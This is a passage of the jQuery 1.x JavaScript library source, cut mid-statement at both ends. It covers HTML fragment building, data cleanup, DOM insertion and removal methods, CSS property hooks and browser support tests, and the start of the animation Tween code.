"" ])[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[1] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[2]; // Descend through wrappers to the right content j = wrap[0]; while ( j-- ) { tmp = tmp.lastChild; } // Manually add leading whitespace removed by IE if ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) { nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) ); } // Remove IE's autoinserted <tbody> from table fragments if ( !support.tbody ) { // String was a <table>, *may* have spurious <tbody> elem = tag === "table" && !rtbody.test( elem ) ? tmp.firstChild : // String was a bare <thead> or <tfoot> wrap[1] === "<table>" && !rtbody.test( elem ) ? tmp : 0; j = elem && elem.childNodes.length; while ( j-- ) { if ( jQuery.nodeName( (tbody = elem.childNodes[j]), "tbody" ) && !tbody.childNodes.length ) { elem.removeChild( tbody ); } } } jQuery.merge( nodes, tmp.childNodes ); // Fix #12392 for WebKit and IE > 9 tmp.textContent = ""; // Fix #12392 for oldIE while ( tmp.firstChild ) { tmp.removeChild( tmp.firstChild ); } // Remember the top-level container for proper cleanup tmp = safe.lastChild; } } } // Fix #11356: Clear elements from fragment if ( tmp ) { safe.removeChild( tmp ); } // Reset defaultChecked for any radios and checkboxes // about to be appended to the DOM in IE 6/7 (#8060) if ( !support.appendChecked ) { jQuery.grep( getAll( nodes, "input" ), fixDefaultChecked ); } i = 0; while ( (elem = nodes[ i++ ]) ) { // #4087 - If origin and destination elements are the same, and this is // that element, do not do anything if ( selection && jQuery.inArray( elem, selection ) !== -1 ) { continue; } contains = jQuery.contains( elem.ownerDocument, elem ); // Append to fragment tmp = getAll( safe.appendChild( elem ), "script" ); // Preserve script evaluation history if ( contains ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( (elem = tmp[ j++ ]) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } tmp = null; return safe; }, cleanData: function( elems, /* internal */ acceptData ) { var elem, type, id, data, i = 0, internalKey = jQuery.expando, cache = jQuery.cache, deleteExpando = support.deleteExpando, special = jQuery.event.special; for ( ; (elem = elems[i]) != null; i++ ) { if ( acceptData || jQuery.acceptData( elem ) ) { id = elem[ internalKey ]; data = id && cache[ id ]; if ( data ) { if ( data.events ) { for ( type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } // Remove cache only if it was not already removed by jQuery.event.remove if ( cache[ id ] ) { delete cache[ id ]; // IE does not allow us to delete expando properties from nodes, // nor does it have a removeAttribute function on Document nodes; // we must handle all of these cases if ( deleteExpando ) { delete elem[ internalKey ]; } else if ( typeof elem.removeAttribute !== strundefined ) { elem.removeAttribute( internalKey ); } else { elem[ internalKey ] = null; } deletedIds.push( id ); } } } } } }); jQuery.fn.extend({ text: function( value ) { return access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) ); }, null, value, arguments.length ); }, append: function() { return this.domManip( arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } }); }, prepend: function() { return this.domManip( arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } }); }, before: function() { return this.domManip( arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } }); }, after: function() { return this.domManip( arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } }); }, remove: function( selector, keepData /* Internal Use Only */ ) { var elem, elems = selector ? jQuery.filter( selector, this ) : this, i = 0; for ( ; (elem = elems[i]) != null; i++ ) { if ( !keepData && elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem ) ); } if ( elem.parentNode ) { if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) { setGlobalEval( getAll( elem, "script" ) ); } elem.parentNode.removeChild( elem ); } } return this; }, empty: function() { var elem, i = 0; for ( ; (elem = this[i]) != null; i++ ) { // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); } // Remove any remaining nodes while ( elem.firstChild ) { elem.removeChild( elem.firstChild ); } // If this is a select, ensure that it displays empty (#12336) // Support: IE<9 if ( elem.options && jQuery.nodeName( elem, "select" ) ) { elem.options.length = 0; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map(function() { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); }); }, html: function( value ) { return access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined ) { return elem.nodeType === 1 ? elem.innerHTML.replace( rinlinejQuery, "" ) : undefined; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && ( support.htmlSerialize || !rnoshimcache.test( value ) ) && ( support.leadingWhitespace || !rleadingWhitespace.test( value ) ) && !wrapMap[ (rtagName.exec( value ) || [ "", "" ])[ 1 ].toLowerCase() ] ) { value = value.replace( rxhtmlTag, "<$1></$2>" ); try { for (; i < l; i++ ) { // Remove element nodes and prevent memory leaks elem = this[i] || {}; if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch(e) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var arg = arguments[ 0 ]; // Make the changes, replacing each context element with the new content this.domManip( arguments, function( elem ) { arg = this.parentNode; jQuery.cleanData( getAll( this ) ); if ( arg ) { arg.replaceChild( elem, this ); } }); // Force removal if there was no new content (e.g., from empty arguments) return arg && (arg.length || arg.nodeType) ? this : this.remove(); }, detach: function( selector ) { return this.remove( selector, true ); }, domManip: function( args, callback ) { // Flatten any nested arrays args = concat.apply( [], args ); var first, node, hasScripts, scripts, doc, fragment, i = 0, l = this.length, set = this, iNoClone = l - 1, value = args[0], isFunction = jQuery.isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( isFunction || ( l > 1 && typeof value === "string" && !support.checkClone && rchecked.test( value ) ) ) { return this.each(function( index ) { var self = set.eq( index ); if ( isFunction ) { args[0] = value.call( this, index, self.html() ); } self.domManip( args, callback ); }); } if ( l ) { fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } if ( first ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( this[i], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !jQuery._data( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src ) { // Optional AJAX dependency, but won't run scripts if not present if ( jQuery._evalUrl ) { jQuery._evalUrl( node.src ); } } else { jQuery.globalEval( ( node.text || node.textContent || node.innerHTML || "" ).replace( rcleanScript, "" ) ); } } } } // Fix #11809: Avoid leaking memory fragment = first = null; } } return this; } }); jQuery.each({ appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, i = 0, ret = [], insert = jQuery( selector ), last = insert.length - 1; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone(true); jQuery( insert[i] )[ original ]( elems ); // Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get() push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; }); var iframe, elemdisplay = {}; /** * Retrieve the actual display of a element * @param {String} name nodeName of the element * @param {Object} doc Document object */ // Called only from within defaultDisplay function actualDisplay( name, doc ) { var style, elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ), // getDefaultComputedStyle might be reliably used only on attached element display = window.getDefaultComputedStyle && ( style = window.getDefaultComputedStyle( elem[ 0 ] ) ) ? // Use of this method is a temporary fix (more like optmization) until something better comes along, // since it was removed from specification and supported only in FF style.display : jQuery.css( elem[ 0 ], "display" ); // We don't have any data stored on the element, // so use "detach" method as fast way to get rid of the element elem.detach(); return display; } /** * Try to determine the default display value of an element * @param {String} nodeName */ function defaultDisplay( nodeName ) { var doc = document, display = elemdisplay[ nodeName ]; if ( !display ) { display = actualDisplay( nodeName, doc ); // If the simple way fails, read from inside an iframe if ( display === "none" || !display ) { // Use the already-created iframe if possible iframe = (iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" )).appendTo( doc.documentElement ); // Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse doc = ( iframe[ 0 ].contentWindow || iframe[ 0 ].contentDocument ).document; // Support: IE doc.write(); doc.close(); display = actualDisplay( nodeName, doc ); iframe.detach(); } // Store the correct default display elemdisplay[ nodeName ] = display; } return display; } (function() { var shrinkWrapBlocksVal; support.shrinkWrapBlocks = function() { if ( shrinkWrapBlocksVal != null ) { return shrinkWrapBlocksVal; } // Will be changed later if needed. shrinkWrapBlocksVal = false; // Minified: var b,c,d var div, body, container; body = document.getElementsByTagName( "body" )[ 0 ]; if ( !body || !body.style ) { // Test fired too early or in an unsupported environment, exit. return; } // Setup div = document.createElement( "div" ); container = document.createElement( "div" ); container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px"; body.appendChild( container ).appendChild( div ); // Support: IE6 // Check if elements with layout shrink-wrap their children if ( typeof div.style.zoom !== strundefined ) { // Reset CSS: box-sizing; display; margin; border div.style.cssText = // Support: Firefox<29, Android 2.3 // Vendor-prefix box-sizing "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1"; div.appendChild( document.createElement( "div" ) ).style.width = "5px"; shrinkWrapBlocksVal = div.offsetWidth !== 3; } body.removeChild( container ); return shrinkWrapBlocksVal; }; })(); var rmargin = (/^margin/); var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/; if ( window.getComputedStyle ) { getStyles = function( elem ) { // Support: IE<=11+, Firefox<=30+ (#15098, #14150) // IE throws on elements created in popups // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" if ( elem.ownerDocument.defaultView.opener ) { return elem.ownerDocument.defaultView.getComputedStyle( elem, null ); } return window.getComputedStyle( elem, null ); }; curCSS = function( elem, name, computed ) { var width, minWidth, maxWidth, ret, style = elem.style; computed = computed || getStyles( elem ); // getPropertyValue is only needed for .css('filter') in IE9, see #12537 ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined; if ( computed ) { if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) { ret = jQuery.style( elem, name ); } // A tribute to the "awesome hack by Dean Edwards" // Chrome < 17 and Safari 5.0 uses "computed value" instead of "used value" for margin-right // Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels // this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } // Support: IE // IE returns zIndex value as an integer. return ret === undefined ? ret : ret + ""; }; } else if ( document.documentElement.currentStyle ) { getStyles = function( elem ) { return elem.currentStyle; }; curCSS = function( elem, name, computed ) { var left, rs, rsLeft, ret, style = elem.style; computed = computed || getStyles( elem ); ret = computed ? computed[ name ] : undefined; // Avoid setting ret to empty string here // so we don't default to auto if ( ret == null && style && style[ name ] ) { ret = style[ name ]; } // From the awesome hack by Dean Edwards // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291 // If we're not dealing with a regular pixel number // but a number that has a weird ending, we need to convert it to pixels // but not position css attributes, as those are proportional to the parent element instead // and we can't measure the parent instead because it might trigger a "stacking dolls" problem if ( rnumnonpx.test( ret ) && !rposition.test( name ) ) { // Remember the original values left = style.left; rs = elem.runtimeStyle; rsLeft = rs && rs.left; // Put in the new values to get a computed value out if ( rsLeft ) { rs.left = elem.currentStyle.left; } style.left = name === "fontSize" ? "1em" : ret; ret = style.pixelLeft + "px"; // Revert the changed values style.left = left; if ( rsLeft ) { rs.left = rsLeft; } } // Support: IE // IE returns zIndex value as an integer. return ret === undefined ? ret : ret + "" || "auto"; }; } function addGetHookIf( conditionFn, hookFn ) { // Define the hook, we'll check on the first run if it's really needed. return { get: function() { var condition = conditionFn(); if ( condition == null ) { // The test was not ready at this point; screw the hook this time // but check again when needed next time. return; } if ( condition ) { // Hook not needed (or it's not possible to use it due to missing dependency), // remove it. // Since there are no other hooks for marginRight, remove the whole object. delete this.get; return; } // Hook needed; redefine it so that the support test is not executed again. return (this.get = hookFn).apply( this, arguments ); } }; } (function() { // Minified: var b,c,d,e,f,g, h,i var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal; // Setup div = document.createElement( "div" ); div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>"; a = div.getElementsByTagName( "a" )[ 0 ]; style = a && a.style; // Finish early in limited (non-browser) environments if ( !style ) { return; } style.cssText = "float:left;opacity:.5"; // Support: IE<9 // Make sure that element opacity exists (as opposed to filter) support.opacity = style.opacity === "0.5"; // Verify style float existence // (IE uses styleFloat instead of cssFloat) support.cssFloat = !!style.cssFloat; div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; // Support: Firefox<29, Android 2.3 // Vendor-prefix box-sizing support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === ""; jQuery.extend(support, { reliableHiddenOffsets: function() { if ( reliableHiddenOffsetsVal == null ) { computeStyleTests(); } return reliableHiddenOffsetsVal; }, boxSizingReliable: function() { if ( boxSizingReliableVal == null ) { computeStyleTests(); } return boxSizingReliableVal; }, pixelPosition: function() { if ( pixelPositionVal == null ) { computeStyleTests(); } return pixelPositionVal; }, // Support: Android 2.3 reliableMarginRight: function() { if ( reliableMarginRightVal == null ) { computeStyleTests(); } return reliableMarginRightVal; } }); function computeStyleTests() { // Minified: var b,c,d,j var div, body, container, contents; body = document.getElementsByTagName( "body" )[ 0 ]; if ( !body || !body.style ) { // Test fired too early or in an unsupported environment, exit. return; } // Setup div = document.createElement( "div" ); container = document.createElement( "div" ); container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px"; body.appendChild( container ).appendChild( div ); div.style.cssText = // Support: Firefox<29, Android 2.3 // Vendor-prefix box-sizing "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute"; // Support: IE<9 // Assume reasonable values in the absence of getComputedStyle pixelPositionVal = boxSizingReliableVal = false; reliableMarginRightVal = true; // Check for getComputedStyle so that this code is not run in IE<9. if ( window.getComputedStyle ) { pixelPositionVal = ( window.getComputedStyle( div, null ) || {} ).top !== "1%"; boxSizingReliableVal = ( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px"; // Support: Android 2.3 // Div with explicit width and no margin-right incorrectly // gets computed margin-right based on width of container (#3333) // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right contents = div.appendChild( document.createElement( "div" ) ); // Reset CSS: box-sizing; display; margin; border; padding contents.style.cssText = div.style.cssText = // Support: Firefox<29, Android 2.3 // Vendor-prefix box-sizing "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0"; contents.style.marginRight = contents.style.width = "0"; div.style.width = "1px"; reliableMarginRightVal = !parseFloat( ( window.getComputedStyle( contents, null ) || {} ).marginRight ); div.removeChild( contents ); } // Support: IE8 // Check if table cells still have offsetWidth/Height when they are set // to display:none and there are still other visible table cells in a // table row; if so, offsetWidth/Height are not reliable for use when // determining if an element has been hidden directly using // display:none (it is still safe to use offsets if a parent element is // hidden; don safety goggles and see bug #4512 for more information). div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>"; contents = div.getElementsByTagName( "td" ); contents[ 0 ].style.cssText = "margin:0;border:0;padding:0;display:none"; reliableHiddenOffsetsVal = contents[ 0 ].offsetHeight === 0; if ( reliableHiddenOffsetsVal ) { contents[ 0 ].style.display = ""; contents[ 1 ].style.display = "none"; reliableHiddenOffsetsVal = contents[ 0 ].offsetHeight === 0; } body.removeChild( container ); } })(); // A method for quickly swapping in/out CSS properties to get correct calculations. jQuery.swap = function( elem, options, callback, args ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; var ralpha = /alpha\([^)]*\)/i, ropacity = /opacity\s*=\s*([^)]*)/, // swappable if display is none or starts with table except "table", "table-cell", or "table-caption" // see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, rnumsplit = new RegExp( "^(" + pnum + ")(.*)$", "i" ), rrelNum = new RegExp( "^([+-])=(" + pnum + ")", "i" ), cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: "0", fontWeight: "400" }, cssPrefixes = [ "Webkit", "O", "Moz", "ms" ]; // return a css property mapped to a potentially vendor prefixed property function vendorPropName( style, name ) { // shortcut for names that are not vendor prefixed if ( name in style ) { return name; } // check for vendor prefixed names var capName = name.charAt(0).toUpperCase() + name.slice(1), origName = name, i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in style ) { return name; } } return origName; } function showHide( elements, show ) { var display, elem, hidden, values = [], index = 0, length = elements.length; for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } values[ index ] = jQuery._data( elem, "olddisplay" ); display = elem.style.display; if ( show ) { // Reset the inline display of this element to learn if it is // being hidden by cascaded rules or not if ( !values[ index ] && display === "none" ) { elem.style.display = ""; } // Set elements which have been overridden with display: none // in a stylesheet to whatever the default browser style is // for such an element if ( elem.style.display === "" && isHidden( elem ) ) { values[ index ] = jQuery._data( elem, "olddisplay", defaultDisplay(elem.nodeName) ); } } else { hidden = isHidden( elem ); if ( display && display !== "none" || !hidden ) { jQuery._data( elem, "olddisplay", hidden ? display : jQuery.css( elem, "display" ) ); } } } // Set the display of most of the elements in a second loop // to avoid the constant reflow for ( index = 0; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } if ( !show || elem.style.display === "none" || elem.style.display === "" ) { elem.style.display = show ? values[ index ] || "" : "none"; } } return elements; } function setPositiveNumber( elem, value, subtract ) { var matches = rnumsplit.exec( value ); return matches ? // Guard against undefined "subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) : value; } function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) { var i = extra === ( isBorderBox ? "border" : "content" ) ? // If we already have the right measurement, avoid augmentation 4 : // Otherwise initialize for horizontal or vertical properties name === "width" ? 1 : 0, val = 0; for ( ; i < 4; i += 2 ) { // both box models exclude margin, so add it if we want it if ( extra === "margin" ) { val += jQuery.css( elem, extra + cssExpand[ i ], true, styles ); } if ( isBorderBox ) { // border-box includes padding, so remove it if we want content if ( extra === "content" ) { val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // at this point, extra isn't border nor margin, so remove border if ( extra !== "margin" ) { val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } else { // at this point, extra isn't content, so add padding val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // at this point, extra isn't content nor padding, so add border if ( extra !== "padding" ) { val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } return val; } function getWidthOrHeight( elem, name, extra ) { // Start with offset property, which is equivalent to the border-box value var valueIsBorderBox = true, val = name === "width" ? elem.offsetWidth : elem.offsetHeight, styles = getStyles( elem ), isBorderBox = support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; // some non-html elements return undefined for offsetWidth, so check for null/undefined // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285 // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668 if ( val <= 0 || val == null ) { // Fall back to computed then uncomputed css if necessary val = curCSS( elem, name, styles ); if ( val < 0 || val == null ) { val = elem.style[ name ]; } // Computed unit is not pixels. Stop here and return. if ( rnumnonpx.test(val) ) { return val; } // we need the check for style in case a browser which returns unreliable values // for getComputedStyle silently falls back to the reliable elem.style valueIsBorderBox = isBorderBox && ( support.boxSizingReliable() || val === elem.style[ name ] ); // Normalize "", auto, and prepare for extra val = parseFloat( val ) || 0; } // use the active box-sizing model to add/subtract irrelevant styles return ( val + augmentWidthOrHeight( elem, name, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles ) ) + "px"; } jQuery.extend({ // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { "columnCount": true, "fillOpacity": true, "flexGrow": true, "flexShrink": true, "fontWeight": true, "lineHeight": true, "opacity": true, "order": true, "orphans": true, "widows": true, "zIndex": true, "zoom": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: { // normalize float css property "float": support.cssFloat ? "cssFloat" : "styleFloat" }, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = jQuery.camelCase( name ), style = elem.style; name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) ); // gets hook for the prefixed version // followed by the unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // convert relative number strings (+= or -=) to relative numbers. #7345 if ( type === "string" && (ret = rrelNum.exec( value )) ) { value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) ); // Fixes bug #9237 type = "number"; } // Make sure that null and NaN values aren't set. See: #7116 if ( value == null || value !== value ) { return; } // If a number was passed in, add 'px' to the (except for certain CSS properties) if ( type === "number" && !jQuery.cssNumber[ origName ] ) { value += "px"; } // Fixes #8908, it can be done more correctly by specifing setters in cssHooks, // but it would mean to define eight (for every problematic property) identical functions if ( !support.clearCloneStyle && value === "" && name.indexOf("background") === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) { // Support: IE // Swallow errors from 'invalid' CSS values (#5509) try { style[ name ] = value; } catch(e) {} } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var num, val, hooks, origName = jQuery.camelCase( name ); // Make sure that we're working with the right name name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) ); // gets hook for the prefixed version // followed by the unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } //convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Return, converting to number if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || jQuery.isNumeric( num ) ? num || 0 : val; } return val; } }); jQuery.each([ "height", "width" ], function( i, name ) { jQuery.cssHooks[ name ] = { get: function( elem, computed, extra ) { if ( computed ) { // certain elements can have dimension info if we invisibly show them // however, it must have a current display style that would benefit from this return rdisplayswap.test( jQuery.css( elem, "display" ) ) && elem.offsetWidth === 0 ? jQuery.swap( elem, cssShow, function() { return getWidthOrHeight( elem, name, extra ); }) : getWidthOrHeight( elem, name, extra ); } }, set: function( elem, value, extra ) { var styles = extra && getStyles( elem ); return setPositiveNumber( elem, value, extra ? augmentWidthOrHeight( elem, name, extra, support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box", styles ) : 0 ); } }; }); if ( !support.opacity ) { jQuery.cssHooks.opacity = { get: function( elem, computed ) { // IE uses filters for opacity return ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "" ) ? ( 0.01 * parseFloat( RegExp.$1 ) ) + "" : computed ? "1" : ""; }, set: function( elem, value ) { var style = elem.style, currentStyle = elem.currentStyle, opacity = jQuery.isNumeric( value ) ? "alpha(opacity=" + value * 100 + ")" : "", filter = currentStyle && currentStyle.filter || style.filter || ""; // IE has trouble with opacity if it does not have layout // Force it by setting the zoom level style.zoom = 1; // if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652 // if value === "", then remove inline opacity #12685 if ( ( value >= 1 || value === "" ) && jQuery.trim( filter.replace( ralpha, "" ) ) === "" && style.removeAttribute ) { // Setting style.filter to null, "" & " " still leave "filter:" in the cssText // if "filter:" is present at all, clearType is disabled, we want to avoid this // style.removeAttribute is IE Only, but so apparently is this code path... style.removeAttribute( "filter" ); // if there is no filter style applied in a css rule or unset inline opacity, we are done if ( value === "" || currentStyle && !currentStyle.filter ) { return; } } // otherwise, set new filter values style.filter = ralpha.test( filter ) ? filter.replace( ralpha, opacity ) : filter + " " + opacity; } }; } jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight, function( elem, computed ) { if ( computed ) { // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right // Work around by temporarily setting element display to inline-block return jQuery.swap( elem, { "display": "inline-block" }, curCSS, [ elem, "marginRight" ] ); } } ); // These hooks are used by animate to expand properties jQuery.each({ margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // assumes a single number if not a string parts = typeof value === "string" ? value.split(" ") : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( !rmargin.test( prefix ) ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } }); jQuery.fn.extend({ css: function( name, value ) { return access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( jQuery.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); }, show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { if ( typeof state === "boolean" ) { return state ? this.show() : this.hide(); } return this.each(function() { if ( isHidden( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } }); } }); function Tween( elem, options, prop, end, easing ) { return new Tween.prototype.init( elem, options, prop, end, easing ); } jQuery.Tween = Tween; Tween.prototype = { constructor: Tween, init: function( elem, options, prop, end, easing, unit ) { this.elem = elem; this.prop = prop; this.easing = easing || "swing"; this.options = options; this.start = this.now = this.cur(); this.end = end; this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); }, cur: function() { var hooks = Tween.propHooks[ this.prop ]; return hooks && hooks.get ? hooks.get( this ) : Tween.propHooks._default.get( this ); }, run: function( percent ) { var eased, hooks = Tween.propHooks[ this.prop ]; if ( this.options.duration ) { this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration ); } else { this.pos = eased = percent; } this.now = ( this.end - this.start ) * eased + this.start; if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } if ( hooks && hooks.set ) { hooks.set( this ); } else { Tween.propHooks._default.set( this ); } return this; } }; Tween.prototype.init.prototype = Tween.prototype; Tween.propHooks = { _default: { get: function( tween ) { var result; if ( tween.elem[ tween.prop ] != null && (!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) { return tween.elem[ tween.prop ]; } // passing an empty string as a 3rd parameter to .css will automatically // attempt a parseFloat and fallback to a string if the parse fails // so, simple values such as "10px" are parsed to Float. // complex values such as "rotate(1rad)" are returned as is. result = jQuery.css( tween.elem, 